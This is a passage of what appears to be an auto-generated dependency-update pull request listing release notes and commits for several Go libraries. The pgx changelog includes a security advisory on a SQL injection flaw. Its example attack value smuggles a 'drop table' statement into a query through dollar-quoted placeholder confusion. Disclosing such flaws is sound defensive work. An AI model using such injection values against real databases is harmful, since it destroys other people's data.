href=\"https://github.com/alicebob/miniredis/blob/master/CHANGELOG.md\"\u003egithub.com/alicebob/miniredis/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.37.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003esuport HEXPIRE (thanks \u003ca href=\"https://github.com/mojixcoder\"\u003e\u003ccode\u003e@​mojixcoder\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/alicebob/miniredis/commit/c1b59bfe154a01657c4b79734237fe5eba81f11b\"\u003e\u003ccode\u003ec1b59bf\u003c/code\u003e\u003c/a\u003e feat: implement HEXPIRE command (\u003ca href=\"https://redirect.github.com/alicebob/miniredis/issues/424\"\u003e#424\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/alicebob/miniredis/compare/v2.36.1...v2.37.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/davidbyttow/govips/v2` from 2.16.0 to 2.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/davidbyttow/govips/releases\"\u003egithub.com/davidbyttow/govips/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.18.0\u003c/h2\u003e\n\u003ch2\u003eHighlights\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eLeak detector\u003c/strong\u003e: new \u003ccode\u003eOpenImageRefs()\u003c/code\u003e and \u003ccode\u003eAssertNoLeaks(t)\u003c/code\u003e API for tracking unclosed \u003ccode\u003eImageRef\u003c/code\u003e instances (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSplit \u003ccode\u003eImageRef\u003c/code\u003e\u003c/strong\u003e: decomposed the 2607-line god object into 8 focused files by concern — zero API changes, same public surface (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWebP shrink-on-load\u003c/strong\u003e support via scale parameter (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/516\"\u003e#516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAnimated AVIF (avis) detection\u003c/strong\u003e support (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/513\"\u003e#513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix memory leaks\u003c/strong\u003e in \u003ccode\u003evipsGetPoint\u003c/code\u003e and \u003ccode\u003evipsImageGetAsString\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/510\"\u003e#510\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix segfault\u003c/strong\u003e during animated WebP export in test suite\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReplace panics with errors\u003c/strong\u003e in \u003ccode\u003estartupIfNeeded\u003c/code\u003e and test helpers (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/522\"\u003e#522\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/523\"\u003e#523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUpdate minimum libvips\u003c/strong\u003e from 8.10 to 8.14 (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/518\"\u003e#518\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix C code bugs in \u003ccode\u003eset_image_delay\u003c/code\u003e and \u003ccode\u003elabel\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/512\"\u003e#512\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemove incorrect defers that would free internal vips pointers (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/511\"\u003e#511\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate dependencies to fix known vulnerabilities\u003c/li\u003e\n\u003cli\u003eSimplify CI workflow, align Go version with go.mod (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/519\"\u003e#519\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBreaking\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved \u003ccode\u003evips/pipeline\u003c/code\u003e package — it was a thin wrapper over \u003ccode\u003eImageRef\u003c/code\u003e methods covering ~40 of 139 methods, creating a dual-surface problem. Use \u003ccode\u003eImageRef\u003c/code\u003e methods directly.\u003c/li\u003e\n\u003cli\u003eMinimum libvips version bumped from 8.10 to 8.14\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.17.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eNew Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd built-in vipsgen code generator for auto-generating C bridge wrappers\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eNewTransparentCanvas\u003c/code\u003e helper for creating transparent RGBA images\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eGrey()\u003c/code\u003e constructor for creating gradient images\u003c/li\u003e\n\u003cli\u003eAdd fast Go \u003ccode\u003eimage.Image\u003c/code\u003e interop: \u003ccode\u003eToGoImage\u003c/code\u003e and \u003ccode\u003eNewImageFromGoImage\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eLoop\u003c/code\u003e API and preserve loop/delay metadata in \u003ccode\u003eRemoveMetadata\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd gravity function\u003c/li\u003e\n\u003cli\u003eAdd PSD support\u003c/li\u003e\n\u003cli\u003eAdd Magick Save, support ICO load\u003c/li\u003e\n\u003cli\u003eAdd access options while loading image\u003c/li\u003e\n\u003cli\u003eAdd additional image operation functions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix memory leak, panics, and race condition\u003c/li\u003e\n\u003cli\u003eFix memory leak when using multi pages\u003c/li\u003e\n\u003cli\u003eFix animated resize producing toilet-roll images\u003c/li\u003e\n\u003cli\u003eFix CMYK ICC profile ignored when embedded profile exists\u003c/li\u003e\n\u003cli\u003eFix TIFF tile dimensions zero-value crash\u003c/li\u003e\n\u003cli\u003eFix JXL type detection for ISOBMFF containers with varying box sizes\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eruntime.KeepAlive\u003c/code\u003e to prevent GC finalization during CGo calls\u003c/li\u003e\n\u003cli\u003eStop implicitly converting BMP files to PNG\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsolidate generated C bridge files into \u003ccode\u003egenerated.{c,h,go}\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eConsolidate hand-written C bridge files into \u003ccode\u003eoperations.{c,h,go}\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eReduce hand-written C bridge code by using generated wrappers\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/1c56c968207c748f90627c998f93be6cbbe2bbca\"\u003e\u003ccode\u003e1c56c96\u003c/code\u003e\u003c/a\u003e Add leak detector, remove pipeline, split ImageRef god object (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/ed2402c9854112076bff4f583c9537542e46be61\"\u003e\u003ccode\u003eed2402c\u003c/code\u003e\u003c/a\u003e update claude.md and remove unnecessary files\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/b8b8568af3fb38493e28952288b398d8d4f9c025\"\u003e\u003ccode\u003eb8b8568\u003c/code\u003e\u003c/a\u003e Add composable pipeline API for image transforms (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/524\"\u003e#524\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/e1b3461e4a1b6d20c0788885d8ee1bd7b59e163b\"\u003e\u003ccode\u003ee1b3461\u003c/code\u003e\u003c/a\u003e Update dependencies to fix known vulnerabilities\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/74b216dc420d24d369d21c2fe3dc90baac891d57\"\u003e\u003ccode\u003e74b216d\u003c/code\u003e\u003c/a\u003e Fix segfault during animated WebP export in test suite\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/4f36436b36628de0479fba2627f981dd98a637d2\"\u003e\u003ccode\u003e4f36436\u003c/code\u003e\u003c/a\u003e Simplify CI workflow: drop Coveralls, clean up steps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/e09c89dce24e9b4c731e67c6e75c5a819cf5dd1b\"\u003e\u003ccode\u003ee09c89d\u003c/code\u003e\u003c/a\u003e Remove stale build/ directory with outdated Dockerfiles\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/1d528fba548f06fa4a1f0df89d045e4ca6c2887d\"\u003e\u003ccode\u003e1d528fb\u003c/code\u003e\u003c/a\u003e Replace deprecated Export() call in ToImage() with ExportNative()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/3fad8cc6f81dd62e63833cca59b51fcdeaec4ec8\"\u003e\u003ccode\u003e3fad8cc\u003c/code\u003e\u003c/a\u003e add usage examples\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/6cf8e10a85829278ad1b0f35e73825bf2b570ff5\"\u003e\u003ccode\u003e6cf8e10\u003c/code\u003e\u003c/a\u003e Return error from startupIfNeeded instead of panicking (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/523\"\u003e#523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/davidbyttow/govips/compare/v2.16.0...v2.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/jackc/pgx/v5` from 5.7.2 to 5.9.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jackc/pgx/blob/master/CHANGELOG.md\"\u003egithub.com/jackc/pgx/v5's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e5.9.2 (April 18, 2026)\u003c/h1\u003e\n\u003cp\u003eFix SQL Injection via placeholder confusion with dollar quoted string literals (GHSA-j88v-2chj-qfwx)\u003c/p\u003e\n\u003cp\u003eSQL injection can occur when:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eThe non-default simple protocol is used.\u003c/li\u003e\n\u003cli\u003eA dollar quoted string literal is used in the SQL query.\u003c/li\u003e\n\u003cli\u003eThat query contains text that would be would be interpreted outside as a placeholder outside of a string literal.\u003c/li\u003e\n\u003cli\u003eThe value of that placeholder is controllable by the attacker.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003ee.g.\u003c/p\u003e\n\u003cpre lang=\"go\"\u003e\u003ccode\u003eattackValue := `$tag$; drop table canary; --`\n_, err = tx.Exec(ctx, `select $tag$ $1 $tag$, $1`, pgx.QueryExecModeSimpleProtocol, attackValue)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis is unlikely to occur outside of a contrived scenario.\u003c/p\u003e\n\u003ch1\u003e5.9.1 (March 22, 2026)\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eFix: batch result format corruption when using cached prepared statements (reported by Dirkjan Bussink)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e5.9.0 (March 21, 2026)\u003c/h1\u003e\n\u003cp\u003eThis release includes a number of new features such as SCRAM-SHA-256-PLUS support, OAuth authentication support, and\nPostgreSQL protocol 3.2 support.\u003c/p\u003e\n\u003cp\u003eIt significantly reduces the amount of network traffic when using prepared statements (which are used automatically by\ndefault) by avoiding unnecessary Describe Portal messages. This also reduces local memory usage.\u003c/p\u003e\n\u003cp\u003eIt also includes multiple fixes for potential DoS due to panic or OOM if connected to a malicious server that sends\ndeliberately malformed messages.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRequire Go 1.25+\u003c/li\u003e\n\u003cli\u003eAdd SCRAM-SHA-256-PLUS support (Adam Brightwell)\u003c/li\u003e\n\u003cli\u003eAdd OAuth authentication support for PostgreSQL 18 (David Schneider)\u003c/li\u003e\n\u003cli\u003eAdd PostgreSQL protocol 3.2 support (Dirkjan Bussink)\u003c/li\u003e\n\u003cli\u003eAdd tsvector type support (Adam Brightwell)\u003c/li\u003e\n\u003cli\u003eSkip Describe Portal for cached prepared statements reducing network round trips\u003c/li\u003e\n\u003cli\u003eMake LoadTypes query easier to support on \u0026quot;postgres-like\u0026quot; servers (Jelte Fennema-Nio)\u003c/li\u003e\n\u003cli\u003eDefault empty user to current OS user matching libpq behavior (ShivangSrivastava)\u003c/li\u003e\n\u003cli\u003eOptimize LRU statement cache with custom linked list and node pooling (Mathias Bogaert)\u003c/li\u003e\n\u003cli\u003eOptimize date scanning by replacing regex with manual parsing (Mathias Bogaert)\u003c/li\u003e\n\u003cli\u003eOptimize pgio append/set functions with direct byte shifts (Mathias Bogaert)\u003c/li\u003e\n\u003cli\u003eMake RowsAffected faster (Abhishek Chanda)\u003c/li\u003e\n\u003cli\u003eFix: Pipeline.Close panic when server sends multiple FATAL errors (Varun Chawla)\u003c/li\u003e\n\u003cli\u003eFix: ContextWatcher goroutine leak (Hank Donnay)\u003c/li\u003e\n\u003cli\u003eFix: stdlib discard connections with open transactions in ResetSession (Jeremy Schneider)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/0aeabbcf11d859229c1f0b20e710d3596c76bf27\"\u003e\u003ccode\u003e0aeabbc\u003c/code\u003e\u003c/a\u003e Release v5.9.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/60644f84918a8af66d14a4b0d865d4edafd955da\"\u003e\u003ccode\u003e60644f8\u003c/code\u003e\u003c/a\u003e Fix SQL sanitizer bugs with dollar-quoted strings and placeholder overflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/a5680bc945aa7c6ebac2778d859ee7b4ba86db60\"\u003e\u003ccode\u003ea5680bc\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jackc/pgx/issues/2531\"\u003e#2531\u003c/a\u003e from dolmen-go/godoc-add-links\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/e34e4524007062710c6a4fb9c8655b75a486b5cd\"\u003e\u003ccode\u003ee34e452\u003c/code\u003e\u003c/a\u003e doc: Add godoc links\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/08c9bb1f0d8fa6cc10ed8c713e68b1baa64dfe2c\"\u003e\u003ccode\u003e08c9bb1\u003c/code\u003e\u003c/a\u003e Fix Stringer types encoded as text instead of numeric value in composite fields\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/96b4dbdfd0458cb425bf8454d292a23978872cc8\"\u003e\u003ccode\u003e96b4dbd\u003c/code\u003e\u003c/a\u003e Remove unstable test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/acf88e0065682e8948696d26fa6438669c4cabee\"\u003e\u003ccode\u003eacf88e0\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jackc/pgx/issues/2526\"\u003e#2526\u003c/a\u003e from abrightwell/abrightwell-min-proto\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/2f81f1fc03bef99593e92c64ad9cac954c00e8e6\"\u003e\u003ccode\u003e2f81f1f\u003c/code\u003e\u003c/a\u003e Update \u003ccode\u003emax_protocol_version\u003c/code\u003e and \u003ccode\u003emin_protocol_version\u003c/code\u003e defaults\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/4e4eaedb47b7b3cfba0a1b0a9e6a3f015764f046\"\u003e\u003ccode\u003e4e4eaed\u003c/code\u003e\u003c/a\u003e Release v5.9.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/62731882651a90348febb43b2119b5f8bd9272de\"\u003e\u003ccode\u003e6273188\u003c/code\u003e\u003c/a\u003e Fix batch result format corruption when using cached prepared statements\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jackc/pgx/compare/v5.7.2...v5.9.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/livekit/protocol` from 1.44.1-0.20260120134243-0914cc74653e to 1.45.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/livekit/protocol/releases\"\u003egithub.com/livekit/protocol's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAdd SUSPENDED node state. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1486\"\u003e#1486\u003c/a\u003e (\u003ca href=\"https://github.com/boks1971\"\u003e\u003ccode\u003e@​boks1971\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd get_framework_info request/response support in agent session protocol and regenerate JavaScript protobuf types. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1493\"\u003e#1493\u003c/a\u003e (\u003ca href=\"https://github.com/toubatbrian\"\u003e\u003ccode\u003e@​toubatbrian\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eadd room name and start time to agent MetricsRecordingHeader - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1474\"\u003e#1474\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efeat(rpc/room): add \u003ccode\u003eListParticipants\u003c/code\u003e and \u003ccode\u003eGetParticipant\u003c/code\u003e - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1459\"\u003e#1459\u003c/a\u003e (\u003ca href=\"https://github.com/sohbit\"\u003e\u003ccode\u003e@​sohbit\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eadd \u003ccode\u003eFrame ID\u003c/code\u003e packet trailer feature - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1453\"\u003e#1453\u003c/a\u003e (\u003ca href=\"https://github.com/chenosaurus\"\u003e\u003ccode\u003e@​chenosaurus\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eadd generic list type - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1449\"\u003e#1449\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eadd livekit_agent_simulation service, agent remote session proto \u0026amp; cli dev proto - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1404\"\u003e#1404\u003c/a\u003e (\u003ca href=\"https://github.com/theomonnom\"\u003e\u003ccode\u003e@​theomonnom\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efix flaky test - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1445\"\u003e#1445\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003erequire logger name - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1444\"\u003e#1444\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003enormalize protobuf \u0026quot;id\u0026quot; log field names - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1451\"\u003e#1451\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eencode monotonic time in wall clock - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1439\"\u003e#1439\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow sips: scheme in transfer URIs. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1446\"\u003e#1446\u003c/a\u003e (\u003ca href=\"https://github.com/dennwc\"\u003e\u003ccode\u003e@​dennwc\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eexport discard logger - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1457\"\u003e#1457\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRename log field pID to participantID - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1452\"\u003e#1452\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd PayloadTrailerFeature to TrackInfo and AddTrackRequest - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1438\"\u003e#1438\u003c/a\u003e (\u003ca href=\"https://github.com/chenosaurus\"\u003e\u003ccode\u003e@​chenosaurus\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003emove out connector protos - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1429\"\u003e#1429\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eadd AGENT_ERROR disconnect reason - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1434\"\u003e#1434\u003c/a\u003e (\u003ca href=\"https://github.com/theomonnom\"\u003e\u003ccode\u003e@​theomonnom\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.44.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/livekit/protocol/blob/main/CHANGELOG.md\"\u003egithub.com/livekit/protocol's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.45.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd SUSPENDED node state. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1486\"\u003e#1486\u003c/a\u003e (\u003ca href=\"https://github.com/boks1971\"\u003e\u003ccode\u003e@​boks1971\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.45.2\u003c/h2\u003e\n\u003ch2\u003e1.45.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDropping use of an affinity function in CreateSIPParticipant - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1456\"\u003e#1456\u003c/a\u003e (\u003ca href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.45.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd PayloadTrailerFeature to TrackInfo and AddTrackRequest - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1438\"\u003e#1438\u003c/a\u003e (\u003ca href=\"https://github.com/chenosaurus\"\u003e\u003ccode\u003e@​chenosaurus\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded NoRandomness field to individual dispatch rule\u0026quot; - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1426\"\u003e#1426\u003c/a\u003e (\u003ca href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.44.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eupdate text message protocol for http endpoints - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1407\"\u003e#1407\u003c/a\u003e (\u003ca href=\"https://github.com/longcw\"\u003e\u003ccode\u003e@​longcw\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdding feature_flags field to InternalTransferSIPParticipantRequest, InternalCreateSIPParticipantRequest, and EvaluateSIPDispatchRulesResponse - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1382\"\u003e#1382\u003c/a\u003e (\u003ca 